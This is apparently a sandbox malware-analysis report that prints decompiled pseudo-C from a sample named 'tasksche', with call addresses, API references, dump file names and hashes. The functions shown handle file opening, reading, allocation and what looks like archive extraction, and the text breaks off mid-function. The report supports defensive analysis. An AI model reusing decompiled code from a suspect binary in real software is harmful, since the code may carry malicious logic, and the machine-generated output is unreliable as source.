				if( *((char*)(__ecx + 0x1c)) != 0 || (_t34 & 0x00000004) != 0) {
					_t50 = 1;
				} else {
					_t50 = 0;
				}
				asm("sbb edi, edi");
				_t62 = ( ~(_t34 >> 0x00000001 & 1) & 0xc0000000) + 0x80000000;
				if((_t34 & 0x00000001) != 0) {
					_t62 = _t62 | 0x40000000;
				}
				_t37 =  !(_t34 >> 3) & 0x00000001;
				_v0 = _t37;
				if(_t50 != 0) {
					_t37 = _t37 | 0x00000002;
					_v0 = _t37;
				}
				_t47 = CreateFileW;
				_t54 = (0 |  *((intOrPtr*)(_t63 + 0x15)) != 0x00000000) - 0x00000001 & 0x08000000;
				_a8 = _t54;
				_t38 = CreateFileW(_a4112, _t62, _t37, 0, 3, _t54, 0); // executed
				_t66 = _t38;
				if(_t66 != 0xffffffff) {
					L15:
					 *(_t63 + 0xc) =  *(_t63 + 0xc) & 0x00000000;
					_t48 = _t47 & 0xffffff00 | _t66 != 0xffffffff;
					 *((char*)(_t63 + 0x12)) = 0;
					 *((char*)(_t63 + 0x10)) = 0;
					if(_t48 != 0) {
						 *(_t63 + 4) = _t66;
						E00410B9C(_t63 + 0x1e, _a4112, 0x800);
					}
					return _t48;
				} else {
					_a4 = GetLastError();
					if(E0040A3DC(_a4112,  &_a12, 0x800) == 0) {
						L13:
						if(_a4 == 2) {
							 *((intOrPtr*)(_t63 + 0x1020)) = 1;
						}
						goto L15;
					}
					_t45 = CreateFileW( &_a12, _t62, _v0, 0, 3, _a8, 0); // executed
					_t66 = _t45;
					_t46 = GetLastError();
					_t55 = 2;
					if(_t46 == _t55) {
						_a4 = _t55;
					}
					if(_t66 != 0xffffffff) {
						goto L15;
					} else {
						goto L13;
					}
				}
			}

0x004087c8
0x004087cd
0x004087d7
0x004087e0
0x004087e6
0x004087f0
0x004087ec
0x004087ec
0x004087ec
0x004087fe
0x00408806
0x0040880e
0x00408810
0x00408810
0x0040881b
0x0040881e
0x00408824
0x00408826
0x00408829
0x00408829
0x00408832
0x0040883d
0x00408850
0x00408854
0x00408856
0x0040885b
0x004088c0
0x004088c0
0x004088c7
0x004088ca
0x004088ce
0x004088d4
0x004088e2
0x004088e9
0x004088e9
0x004088fa
0x0040885d
0x00408863
0x0040887f
0x004088af
0x004088b4
0x004088b6
0x004088b6
0x00000000
0x004088b4
0x00408895
0x00408897
0x00408899
0x004088a1
0x004088a4
0x004088a6
0x004088a6
0x004088ad
0x00000000
0x00000000
0x00000000
0x00000000
0x004088ad

APIs

CreateFileW.KERNELBASE(?,-7FFFF7FE,?,00000000,00000003,-00000001,00000000,00000802,00000000,?,00000000,00406E59,00000000,00000005,?,00000011), ref: 00408854
GetLastError.KERNEL32(?,00000000,00406E59,00000000,00000005,?,00000011,00000000,?,00000000,?,0000003A,00000802,?,00000000,00000802), ref: 0040885D
CreateFileW.KERNELBASE(?,-7FFFF7FE,?,00000000,00000003,00000000,00000000,?,?,00000800,?,00000000,00406E59,00000000,00000005,?), ref: 00408895
GetLastError.KERNEL32(?,00000000,00406E59,00000000,00000005,?,00000011,00000000,?,00000000,?,0000003A,00000802,?,00000000,00000802), ref: 00408899

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: CreateErrorFileLast
String ID:
API String ID: 1214770103-0
Opcode ID: 4d3b36c18a63bf9a6cb3bb75dabf04ddc5da56a9a0870096324c8bcc010d085f
Instruction ID: e5fec55928a071c2e3d1b6f10086eb5e0cd4d8e33465c7e2028d9d916ffc9c2f
Opcode Fuzzy Hash: 4d3b36c18a63bf9a6cb3bb75dabf04ddc5da56a9a0870096324c8bcc010d085f
Instruction Fuzzy Hash: 083169725047449BE7309B20CD05BEB77D4AB80318F104A2EF9D0A33C2DBBE9548D75A

Uniqueness

Uniqueness Score: -1.00%

Function 00401822 Relevance: 6.1, APIs: 4, Instructions: 103
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00401822(intOrPtr __ecx, void* __edx, void* __edi, void* __eflags) {
				void* __ebx;
				signed int _t69;
				signed int _t70;
				intOrPtr _t71;
				intOrPtr _t81;
				intOrPtr _t92;
				void* _t93;
				intOrPtr _t96;
				void* _t98;
				void* _t103;

				_t103 = __eflags;
				_t94 = __edi;
				_t93 = __edx;
				E0041A4DC(E00429548, _t98);
				_push(__ecx);
				_t96 = __ecx;
				 *((intOrPtr*)(_t98 - 0x10)) = __ecx;
				E00408786(__ecx);
				 *((intOrPtr*)(_t98 - 4)) = 0;
				 *((intOrPtr*)(__ecx)) = 0x42a478;
				E00405F3C(__ecx + 0x1024, _t103);
				 *((char*)(_t98 - 4)) = 1;
				E0040B8E3(__ecx + 0x20e8, _t103);
				 *((intOrPtr*)(__ecx + 0x6538)) = 0;
				 *((intOrPtr*)(__ecx + 0x653c)) = 0;
				E004013DD(__ecx + 0x65e8);
				_t69 = E004013DD(__ecx + 0x8928);
				 *((char*)(_t98 - 4)) = 4;
				_t70 = _t69 & 0xffffff00 |  *((intOrPtr*)(_t98 + 8)) == 0x00000000;
				 *((intOrPtr*)(__ecx + 0x6524)) = 0;
				 *(__ecx + 0x6520) = _t70;
				_t105 = _t70;
				if(_t70 == 0) {
					_t71 =  *((intOrPtr*)(_t98 + 8));
				} else {
					_push(0x72a8); // executed
					_t81 = E0041A89A(0, _t93, __edi, _t105); // executed
					_t92 = _t81;
					 *((intOrPtr*)(_t98 + 8)) = _t92;
					 *((char*)(_t98 - 4)) = 5;
					if(_t92 == 0) {
						_t71 = 0;
					} else {
						_t71 = E0040A026(_t92, __edi); // executed
					}
				}
				 *((intOrPtr*)(_t96 + 0x6524)) = _t71;
				 *(_t96 + 0x6528) =  *(_t96 + 0x6528) | 0xffffffff;
				 *(_t96 + 0x652c) =  *(_t96 + 0x652c) | 0xffffffff;
				 *(_t96 + 0x6530) =  *(_t96 + 0x6530) | 0xffffffff;
				 *((char*)(_t96 + 0x1c)) =  *((intOrPtr*)(_t71 + 0x5195));
				 *((intOrPtr*)(_t96 + 0xb050)) = 2;
				 *((char*)(_t96 + 0xb054)) = 0;
				 *((char*)(_t96 + 0xb055)) = 0;
				 *((char*)(_t96 + 0xb056)) = 0;
				 *((char*)(_t96 + 0xb057)) = 0;
				 *((char*)(_t96 + 0xb058)) = 0;
				 *((char*)(_t96 + 0xb059)) = 0;
				 *((char*)(_t96 + 0xb05a)) = 0;
				 *((intOrPtr*)(_t96 + 0xb060)) = 0;
				 *((intOrPtr*)(_t96 + 0x6538)) = 0;
				 *((intOrPtr*)(_t96 + 0x653c)) = 0;
				 *((char*)(_t96 + 0xb05b)) = 0;
				 *((char*)(_t96 + 0xb05c)) = 0;
				 *((char*)(_t96 + 0xb065)) = 0;
				 *((char*)(_t96 + 0xb064)) = 0;
				 *((intOrPtr*)(_t96 + 0x6540)) = 0;
				 *((intOrPtr*)(_t96 + 0xb040)) = 0;
				 *((intOrPtr*)(_t96 + 0xb044)) = 0;
				 *((intOrPtr*)(_t96 + 0xb048)) = 0;
				 *((intOrPtr*)(_t96 + 0xb04c)) = 0;
				E0041A820(_t94, _t96 + 0x6570, 0, 0x40);
				E0041A820(_t94, _t96 + 0x65b0, 0, 0x34);
				E0041A820(_t94, _t96 + 0x88e8, 0, 0x20);
				 *((short*)(_t96 + 0xb09a)) = 0;
				 *((intOrPtr*)(_t96 + 0xb078)) = 0;
				 *((intOrPtr*)(_t96 + 0xb080)) = 0;
				 *((intOrPtr*)(_t96 + 0xb084)) = 0;
				 *((intOrPtr*)(_t96 + 0xb088)) = 0;
				 *((intOrPtr*)(_t96 + 0xb08c)) = 0;
				 *((intOrPtr*)(_t96 + 0xb090)) = 0;
				 *((intOrPtr*)(_t96 + 0xb094)) = 0;
				 *((char*)(_t96 + 0xb076)) = 0;
				 *((char*)(_t96 + 0xb098)) = 0;
				 *((char*)(_t96 + 0x6548)) = 0;
				 *[fs:0x0] =  *((intOrPtr*)(_t98 - 0xc));
				return _t96;
			}

0x00401822
0x00401822
0x00401822
0x00401827
0x0040182c
0x0040182f
0x00401831
0x00401834
0x00401841
0x00401844
0x0040184a
0x00401855
0x00401859
0x00401864
0x0040186a
0x00401870
0x0040187b
0x00401883
0x00401887
0x0040188a
0x00401890
0x00401896
0x00401898
0x004018bd
0x0040189a
0x0040189a
0x0040189f
0x004018a5
0x004018a7
0x004018aa
0x004018b0
0x004018b9
0x004018b2
0x004018b2
0x004018b2
0x004018b0
0x004018c0
0x004018cc
0x004018d3
0x004018da
0x004018e3
0x004018ee
0x004018f8
0x004018fe
0x00401904
0x0040190a
0x00401910
0x00401916
0x0040191c
0x00401922
0x00401928
0x0040192e
0x00401934
0x0040193a
0x00401940
0x00401946
0x0040194c
0x00401952
0x00401958
0x0040195e
0x00401964
0x0040196a
0x00401979
0x00401988
0x00401995
0x0040199c
0x004019a2
0x004019a8
0x004019ae
0x004019b4
0x004019ba
0x004019c0
0x004019c6
0x004019cc
0x004019d2
0x004019dc
0x004019e4

APIs

__EH_prolog.LIBCMT ref: 00401827

Part of subcall function 00405F3C: __EH_prolog.LIBCMT ref: 00405F41
Part of subcall function 00405F3C: _memset.LIBCMT ref: 00405FA4
Part of subcall function 00405F3C: _memset.LIBCMT ref: 00405FB0
Part of subcall function 00405F3C: _memset.LIBCMT ref: 00405FCE

Part of subcall function 0040B8E3: __EH_prolog.LIBCMT ref: 0040B8E8

_memset.LIBCMT ref: 0040196A
_memset.LIBCMT ref: 00401979
_memset.LIBCMT ref: 00401988

Part of subcall function 0041A89A: _malloc.LIBCMT ref: 0041A8B4

Part of subcall function 0040A026: __EH_prolog.LIBCMT ref: 0040A02B

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _memset$H_prolog$_malloc
String ID:
API String ID: 4233843809-0
Opcode ID: 89f10ec8c43f5c59ed1e48a3837198038f2aefdd0a2d009fb04471144bad9c18
Instruction ID: 211b101a5e2dbba32f2c8dae62910ed897794103f7d8a7f2ed724c9505602145
Opcode Fuzzy Hash: 89f10ec8c43f5c59ed1e48a3837198038f2aefdd0a2d009fb04471144bad9c18
Instruction Fuzzy Hash: 865127B1445F809EC321DF7988916D7FFE0AF29314F84496E91FE93282D7352658CB29

Uniqueness

Uniqueness Score: -1.00%

Function 00413CE8 Relevance: 6.1, APIs: 4, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 49%

			E00413CE8(void* __ecx, void* __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t34;
				signed int _t35;
				signed int* _t41;
				signed int _t42;
				signed int _t44;
				intOrPtr _t46;
				void* _t67;
				signed int _t72;
				intOrPtr* _t73;
				void* _t75;
				void* _t77;
				signed int _t81;

				_t34 = E0041A4DC(E0042980D, _t75);
				_push(__ecx);
				_push(__ecx);
				_t67 = __ecx;
				_t80 =  *((intOrPtr*)(__ecx + 0x20));
				if( *((intOrPtr*)(__ecx + 0x20)) == 0) {
					_push(0x400400); // executed
					_t46 = E0041A0EA(0, __edx, __ecx, _t80); // executed
					 *((intOrPtr*)(_t67 + 0x20)) = _t46;
					_t34 = E0041A820(_t67, _t46, 0, 0x400400);
					_t77 = _t77 + 0x10;
				}
				_t81 =  *(_t67 + 0x18);
				if(_t81 != 0) {
					L12:
					 *[fs:0x0] =  *((intOrPtr*)(_t75 - 0xc));
					return _t34;
				} else {
					_t72 =  *((intOrPtr*)(_t67 + 0x1c)) +  *((intOrPtr*)(_t67 + 0x1c));
					_t35 = _t72;
					_t65 = _t35 * 0x4ae4 >> 0x20;
					_push( ~(0 | _t81 > 0x00000000) | ( ~(0 | _t81 > 0x00000000) | _t35 * 0x00004ae4) + 0x00000004); // executed
					_t41 = E0041A0EA(0x4ae4, _t35 * 0x4ae4 >> 0x20, _t67, _t81); // executed
					 *(_t75 - 0x10) = _t41;
					 *(_t75 - 4) =  *(_t75 - 4) & 0x00000000;
					_t82 = _t41;
					if(_t41 == 0) {
						_t42 = 0;
						__eflags = 0;
					} else {
						_push(E00412B7D);
						_push(E00412B65);
						_push(_t72);
						 *_t41 = _t72;
						_t44 =  &(_t41[1]);
						_push(0x4ae4);
						_push(_t44);
						 *(_t75 - 0x14) = _t44;
						E0041C6B6(_t72, _t82);
						_t42 =  *(_t75 - 0x14);
					}
					 *(_t75 - 4) =  *(_t75 - 4) | 0xffffffff;
					 *(_t67 + 0x18) = _t42;
					_t34 = E0041A820(_t67, _t42, 0, _t72 * 0x4ae4);
					if(_t72 > 0) {
						 *(_t75 - 0x10) =  *(_t75 - 0x10) & 0x00000000;
						 *(_t75 - 0x14) = _t72;
						do {
							_t34 =  *(_t67 + 0x18) +  *(_t75 - 0x10);
							_t26 = _t34 + 0x4ad4; // 0x4ad4
							_t73 = _t26;
							if( *_t73 == 0) {
								 *((intOrPtr*)(_t34 + 0x4adc)) = 0x4100;
								_t34 = E0041CF3E(0x4ae4, _t65, _t67, 0x30c00); // executed
								 *_t73 = _t34;
								if(_t34 == 0) {
									_t34 = E004063CE(0x4335ac);
								}
							}
							 *(_t75 - 0x10) =  *(_t75 - 0x10) + 0x4ae4;
							_t30 = _t75 - 0x14;
							 *_t30 =  *(_t75 - 0x14) - 1;
						} while ( *_t30 != 0);
					}
					goto L12;
				}
			}

0x00413ced
0x00413cf2
0x00413cf3
0x00413cf7
0x00413cfb
0x00413cfe
0x00413d05
0x00413d06
0x00413d0e
0x00413d11
0x00413d16
0x00413d16
0x00413d19
0x00413d1c
0x00413dde
0x00413de4
0x00413dec
0x00413d22
0x00413d25
0x00413d2e
0x00413d32
0x00413d47
0x00413d48
0x00413d4e
0x00413d51
0x00413d55
0x00413d57
0x00413d78
0x00413d78
0x00413d59
0x00413d59
0x00413d5e
0x00413d63
0x00413d64
0x00413d66
0x00413d69
0x00413d6a
0x00413d6b
0x00413d6e
0x00413d73
0x00413d73
0x00413d7a
0x00413d8a
0x00413d8d
0x00413d97
0x00413d99
0x00413d9d
0x00413da0
0x00413da3
0x00413da6
0x00413da6
0x00413daf
0x00413db6
0x00413dc0
0x00413dc6
0x00413dca
0x00413dd1
0x00413dd1
0x00413dca
0x00413dd6
0x00413dd9
0x00413dd9
0x00413dd9
0x00413da0
0x00000000
0x00413d97

APIs

__EH_prolog.LIBCMT ref: 00413CED
_memset.LIBCMT ref: 00413D11
_memset.LIBCMT ref: 00413D8D
_malloc.LIBCMT ref: 00413DC0

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _memset$H_prolog_malloc
String ID:
API String ID: 1600808285-0
Opcode ID: f9e7b2a6a83c73fc1ba99619ebe61da21776ee40c69ad0e57b9b97bafc6a76b5
Instruction ID: 702ce421a693160a9893d7f58a622c69960126b9ff2eeb296b605b135dd4a1ff
Opcode Fuzzy Hash: f9e7b2a6a83c73fc1ba99619ebe61da21776ee40c69ad0e57b9b97bafc6a76b5
Instruction Fuzzy Hash: F831D4B1E01215ABDB14AF65D9057EB76A8FF14319F10013FE105E7281E7789E9087ED

Uniqueness

Uniqueness Score: -1.00%

Function 00408CA0 Relevance: 6.1, APIs: 4, Instructions: 59
fileCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00408CA0(void* __ecx, void* _a4, long _a8) {
				long _v8;
				int _t14;
				signed int _t15;
				void* _t28;

				_push(__ecx);
				_t28 = __ecx;
				if( *((intOrPtr*)(__ecx + 0xc)) == 1) {
					 *(_t28 + 4) = GetStdHandle(0xfffffff6);
				}
				_t14 = ReadFile( *(_t28 + 4), _a4, _a8,  &_v8, 0); // executed
				if(_t14 != 0) {
					_t15 = _v8;
				} else {
					_t16 = E00408C5A(_t28);
					if(_t16 == 0) {
						L7:
						if( *((intOrPtr*)(_t28 + 0xc)) != 1) {
							L10:
							if( *((intOrPtr*)(_t28 + 0xc)) != 0 || _a8 <= 0x8000) {
								L14:
								_t15 = _t16 | 0xffffffff;
							} else {
								_t16 = GetLastError();
								if(_t16 != 0x21) {
									goto L14;
								} else {
									_push(0x8000);
									goto L6;
								}
							}
						} else {
							_t16 = GetLastError();
							if(_t16 != 0x6d) {
								goto L10;
							} else {
								_t15 = 0;
							}
						}
					} else {
						_t16 = 0x4e20;
						if(_a8 <= 0x4e20) {
							goto L7;
						} else {
							_push(0x4e20);
							L6:
							_push(_a4);
							_t15 = E00408CA0(_t28);
						}
					}
				}
				return _t15;
			}

0x00408ca3
0x00408ca6
0x00408cad
0x00408cb7
0x00408cb7
0x00408cc9
0x00408cd1
0x00408d2b
0x00408cd3
0x00408cd5
0x00408cdc
0x00408cf5
0x00408cff
0x00408d0c
0x00408d10
0x00408d26
0x00408d26
0x00408d1c
0x00408d1c
0x00408d21
0x00000000
0x00408d23
0x00408d23
0x00000000
0x00408d23
0x00408d21
0x00408d01
0x00408d01
0x00408d06
0x00000000
0x00408d08
0x00408d08
0x00408d08
0x00408d06
0x00408cde
0x00408cde
0x00408ce6
0x00000000
0x00408ce8
0x00408ce8
0x00408ce9
0x00408ce9
0x00408cee
0x00408cee
0x00408ce6
0x00408cdc
0x00408d32

APIs

GetStdHandle.KERNEL32(000000F6,004335AC,?,00000000,?,?,00408EB0,?,00000000,?,?,00000000), ref: 00408CB1
ReadFile.KERNELBASE(?,?,?,00000000,00000000,004335AC,?,00000000,?,?,00408EB0,?,00000000,?,?,00000000), ref: 00408CC9
GetLastError.KERNEL32(?,00408EB0,?,00000000,?,?,00000000), ref: 00408D01
GetLastError.KERNEL32(?,00408EB0,?,00000000,?,?,00000000), ref: 00408D1C

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: c1fed62a9ea2a8515d50b02984c21f09fd940ae1629289a4c1ded04f954c3d6f
Instruction ID: b149f771e66fe820b49a3db0cdc04a66bbf6f60059da98a6e892905e95da3d99
Opcode Fuzzy Hash: c1fed62a9ea2a8515d50b02984c21f09fd940ae1629289a4c1ded04f954c3d6f
Instruction Fuzzy Hash: B411A734504608EFEB205B50DA4096A37A8FF71374B10863FE996A52D1DE3DCD41DF2A

Uniqueness

Uniqueness Score: -1.00%

Function 004076AA Relevance: 6.0, APIs: 2, Strings: 1, Instructions: 792
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E004076AA(intOrPtr __ecx, intOrPtr __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t349;
				signed int _t354;
				signed int _t359;
				signed int _t363;
				char _t364;
				intOrPtr _t367;
				signed int _t370;
				char _t373;
				void* _t375;
				signed int _t379;
				signed int _t380;
				intOrPtr _t383;
				char* _t386;
				signed int _t395;
				char _t398;
				intOrPtr _t399;
				intOrPtr _t407;
				signed int _t409;
				intOrPtr _t413;
				signed int _t423;
				intOrPtr _t426;
				char _t434;
				signed int _t440;
				signed int _t445;
				signed int _t446;
				signed int _t452;
				char _t456;
				intOrPtr _t459;
				intOrPtr _t462;
				signed int _t463;
				signed int _t469;
				signed int _t475;
				intOrPtr _t476;
				signed int _t479;
				signed int _t481;
				intOrPtr _t482;
				signed int _t484;
				signed int _t490;
				intOrPtr* _t500;
				char _t502;
				intOrPtr _t504;
				signed int _t510;
				signed int _t515;
				intOrPtr _t572;
				intOrPtr _t593;
				short* _t595;
				signed int _t602;
				signed int _t603;
				intOrPtr _t607;
				intOrPtr _t611;
				void* _t613;

				_t585 = __edx;
				E0041A4DC(E004296C9, _t613);
				E0041AAF0(0x5194);
				_t500 =  *((intOrPtr*)(_t613 + 8));
				_t607 = __ecx;
				_t345 =  *( *((intOrPtr*)(__ecx + 8)) + 0x72b2) & 0x0000ffff;
				 *((intOrPtr*)(_t613 - 0x24)) = __ecx;
				 *(_t613 - 0x18) =  *( *((intOrPtr*)(__ecx + 8)) + 0x72b2) & 0x0000ffff;
				if( *((intOrPtr*)(_t613 + 0xc)) != 0) {
					L5:
					_t593 =  *((intOrPtr*)(_t500 + 0x6544));
					__eflags = _t593 - 2;
					if(_t593 == 2) {
						_t504 =  *((intOrPtr*)(_t607 + 8));
						 *((char*)(_t607 + 0x545d)) = 0;
						__eflags =  *(_t504 + 0x515c);
						if( *(_t504 + 0x515c) != 0) {
							L20:
							 *((char*)(_t613 - 0x10)) = 0;
							_t349 = E0040545B(_t504, _t500 + 0x65e8, _t613 - 0x10, 5, _t613 - 0x51a0, 0x800);
							__eflags = _t349;
							 *(_t613 - 0xe) = _t349 != 0;
							__eflags =  *(_t613 - 0xe);
							if( *(_t613 - 0xe) != 0) {
								__eflags =  *((char*)(_t613 - 0x10));
								if( *((char*)(_t613 - 0x10)) == 0) {
									 *((char*)(_t607 + 0x4459)) = 0;
								}
							}
							E00401A5C(_t500);
							E0040A618(_t607, _t500 + 0x6608, _t613 - 0x2158);
							__eflags =  *((char*)(_t500 + 0x76cb));
							if( *((char*)(_t500 + 0x76cb)) == 0) {
								_t354 = E00401A55(_t500);
								__eflags = _t354;
								if(_t354 != 0) {
									L33:
									 *((char*)(_t607 + 0x21d7)) =  *((intOrPtr*)(_t500 + 0x7671));
									 *((char*)(_t607 + 0x21d8)) = 0;
									_t586 =  *((intOrPtr*)(_t500 + 0xb04c));
									asm("sbb edx, [ebx+0x7634]");
									 *((intOrPtr*)( *_t500 + 0xc))( *((intOrPtr*)(_t500 + 0xb048)) -  *(_t500 + 0x7630),  *((intOrPtr*)(_t500 + 0xb04c)), 0);
									__eflags =  *(_t613 - 0xe);
									 *((char*)(_t613 + 0xf)) = 0;
									 *((char*)(_t613 - 0x1d)) = 0;
									if( *(_t613 - 0xe) != 0) {
										L35:
										_t359 =  *((intOrPtr*)( *((intOrPtr*)(_t607 + 8)) + 0x51c1));
										__eflags = _t359;
										if(_t359 == 0) {
											L38:
											_t510 = 0;
											__eflags = 0;
											L39:
											__eflags = _t359;
											_t363 = L004116E5(_t510, _t613 - 0x2158, (_t359 & 0xffffff00 | _t359 == 0x00000000) & 0x000000ff, _t510,  *((intOrPtr*)(_t613 - 0x1d))); // executed
											__eflags = _t363;
											if(__eflags == 0) {
												L191:
												_t364 = 0;
												L15:
												L16:
												 *[fs:0x0] =  *((intOrPtr*)(_t613 - 0xc));
												return _t364;
											}
											_t595 = _t607 + 0x545e;
											E00406F23(_t607, __eflags, _t500, _t613 - 0x2158, _t595, 0x800);
											__eflags =  *((char*)(_t613 - 0x1d));
											if( *((char*)(_t613 - 0x1d)) != 0) {
												L43:
												 *((char*)(_t613 + 0xf)) = 0;
												L44:
												_t367 =  *((intOrPtr*)(_t607 + 8));
												__eflags =  *((char*)(_t367 + 0x5153));
												if( *((char*)(_t367 + 0x5153)) != 0) {
													L46:
													__eflags =  *(_t613 - 0x18) - 0x45;
													if( *(_t613 - 0x18) == 0x45) {
														L48:
														E004067E1(_t613 - 0x31a0);
														_push(0);
														_t370 = E004096BC(_t586, _t595, _t613 - 0x31a0);
														__eflags = _t370;
														if(_t370 == 0) {
															__eflags =  *((char*)( *((intOrPtr*)(_t607 + 8)) + 0x5153));
															L53:
															if(__eflags == 0) {
																L55:
																__eflags =  *((char*)(_t500 + 0x7673));
																if( *((char*)(_t500 + 0x7673)) == 0) {
																	L60:
																	_t373 = E00407650(_t500, _t613 - 0x2158);
																	__eflags = _t373;
																	if(_t373 == 0) {
																		 *((char*)(_t613 + 0xf)) = _t373;
																		E004062BA(0x4335ac, 2);
																	}
																	_t515 = 0x40;
																	_t375 = memcpy(_t613 - 0x134,  *((intOrPtr*)( *((intOrPtr*)(_t613 - 0x24)) + 8)) + 0x4024, _t515 << 2);
																	asm("movsw");
																	 *(_t613 - 4) =  *(_t613 - 4) & 0x00000000;
																	asm("sbb edx, edx");
																	_t590 =  ~( *(_t500 + 0x7678) & 0x000000ff) & _t500 + 0x00007679;
																	 *((intOrPtr*)(_t613 - 0x28)) = _t375 + 0x10;
																	E0040B883(_t375 + 0x10, 0,  *((intOrPtr*)(_t500 + 0x7674)), _t613 - 0x134,  ~( *(_t500 + 0x7678) & 0x000000ff) & _t500 + 0x00007679, _t500 + 0x7689,  *((intOrPtr*)(_t500 + 0x76c4)), _t500 + 0x76a3, _t613 - 0x30);
																	__eflags =  *((char*)(_t500 + 0x7673));
																	if( *((char*)(_t500 + 0x7673)) != 0) {
																		__eflags =  *((char*)(_t500 + 0x7699));
																		if( *((char*)(_t500 + 0x7699)) != 0) {
																			_t469 = E0041AC04(_t500 + 0x769a, _t613 - 0x30, 8);
																			__eflags = _t469;
																			if(_t469 != 0) {
																				__eflags =  *((char*)(_t500 + 0xb064));
																				if( *((char*)(_t500 + 0xb064)) == 0) {
																					E00406376(6, _t500 + 0x1e);
																					E004062BA(0x4335ac, 0xb);
																					 *((char*)(_t613 + 0xf)) = 0;
																				}
																			}
																		}
																	}
																	_t522 = _t613 - 0x1158;
																	E00408786(_t613 - 0x1158);
																	_t379 =  *(_t500 + 0x76d8);
																	__eflags = _t379;
																	 *((char*)(_t613 - 0x11)) = _t379 != 0;
																	__eflags =  *((char*)(_t613 - 0x11));
																	 *(_t613 - 4) = 1;
																	if( *((char*)(_t613 - 0x11)) == 0) {
																		L77:
																		_t522 = _t500;
																		_t380 = E00401A55(_t500);
																		__eflags = _t380;
																		if(_t380 == 0) {
																			__eflags =  *((char*)(_t613 + 0xf));
																			if( *((char*)(_t613 + 0xf)) == 0) {
																				goto L90;
																			}
																			_t611 =  *((intOrPtr*)(_t613 - 0x24));
																			_t522 = _t611; // executed
																			_t456 = E0040753D(_t611, _t500, _t613 - 0x1158); // executed
																			 *((char*)(_t613 + 0xf)) = _t456;
																			goto L88;
																		}
																		__eflags =  *((char*)(_t613 + 0xf));
																		if( *((char*)(_t613 + 0xf)) == 0) {
																			L85:
																			 *(_t613 - 4) = 0;
																			E00408C7D(_t500, _t613 - 0x1158);
																			 *(_t613 - 4) =  *(_t613 - 4) | 0xffffffff;
																			E0040D111(_t613 - 0x134);
																			goto L14;
																		}
																		__eflags =  *(_t613 - 0x18) - 0x50;
																		if( *(_t613 - 0x18) == 0x50) {
																			goto L85;
																		}
																		__eflags =  *(_t613 - 0x18) - 0x49;
																		if( *(_t613 - 0x18) == 0x49) {
																			goto L85;
																		}
																		__eflags =  *(_t613 - 0x18) - 0x45;
																		if( *(_t613 - 0x18) == 0x45) {
																			goto L85;
																		}
																		_t572 =  *((intOrPtr*)(_t613 - 0x24));
																		_t459 =  *((intOrPtr*)(_t572 + 8));
																		__eflags =  *((intOrPtr*)(_t459 + 0x5158)) - 1;
																		if( *((intOrPtr*)(_t459 + 0x5158)) == 1) {
																			goto L85;
																		}
																		_t143 = _t572 + 0x444c;
																		 *_t143 =  *(_t572 + 0x444c) + 1;
																		__eflags =  *_t143;
																		_push(_t613 - 0x2158);
																		_push(_t500);
																		E00407391(_t572);
																		_t502 = 1;
																		goto L84;
																	} else {
																		__eflags = _t379 - 5;
